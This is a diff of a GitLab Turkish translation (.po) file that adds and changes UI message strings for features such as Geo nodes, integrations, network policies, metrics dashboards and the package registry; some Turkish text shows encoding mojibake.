msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr "Duruma göre filtrele"
msgid "Geo|Geo Status"
msgstr "Geo Durumu"
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr "HTTPS'e zorla (geçerli sertifikalar gerektirir)"
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr "Tam ekrana git"
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr "Grup iş hattı kayıtları başarıyla sıfırlandı."
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr "Sistem durumu bilgileri aşağıdaki uç noktalardan alınabilir. Daha f
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr "Sağlıksız"
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr "Yardım"
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr "Denemeyi kaç kullanıcı değerlendirecek?"
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr "Tüm projeleri dizinle"
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr "Yorum ayrıntıları:"
msgid "Integrations|Comment settings:"
msgstr "Yorum ayarları:"
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr "Yorumları etkinleştir"
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr "Standart"
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr "Aralık Deseni"
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr "Geçersiz giriş ya da şifre"
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr "Ãœye davet et"
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr "Sorun Panoları"
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr "Sorunlar"
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr "Etiketler sorunları ve birleştirme taleplerini kategorize etmek için
msgid "Labels can be applied to issues and merge requests."
msgstr "Etiketler sorunlara ve birleÅŸtirme taleplerine uygulanabilir."
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr "Lisansı kaldır"
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr "Lisanslı Özellikler"
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr "Lisanslar"
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr "Canlı önizleme"
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr "Kilit bulunamadı"
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr "BÄ°RLEÅžTÄ°RÄ°LDÄ°"
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr "Onaylayan:"
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr "Ãœyeler"
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr "BirleÅŸtirme Ä°steÄŸi Ä°ÅŸlemeleri"
msgid "Merge Requests"
msgstr "BirleÅŸtirme Ä°stekleri"
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr "BirleÅŸtirme istekleri oluÅŸturuldu"
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr "Hemen birleÅŸtir"
msgid "Merge in progress"
msgstr "BirleÅŸtirme devam ediyor"
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr "Birleştirme seçenekleri"
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr "Metrikler"
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr "Metrik oluÅŸtur"
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr "Y ekseni etiketi"
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr "Ä°zleme"
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr "Ay"
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr "Durum"
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr "Depo bulunamadı"
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr "Zamanlama bulunamadı"
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr "Kasım"
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr "Sadece proje üyeleri yorum yapabilir."
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr "Açık"
msgid "Open Selection"
msgstr "Seçimi Aç"
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr "Yorum türü açılır penceresini aç"
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr "Açık hatalar"
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr "İsme göre filtrele"
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
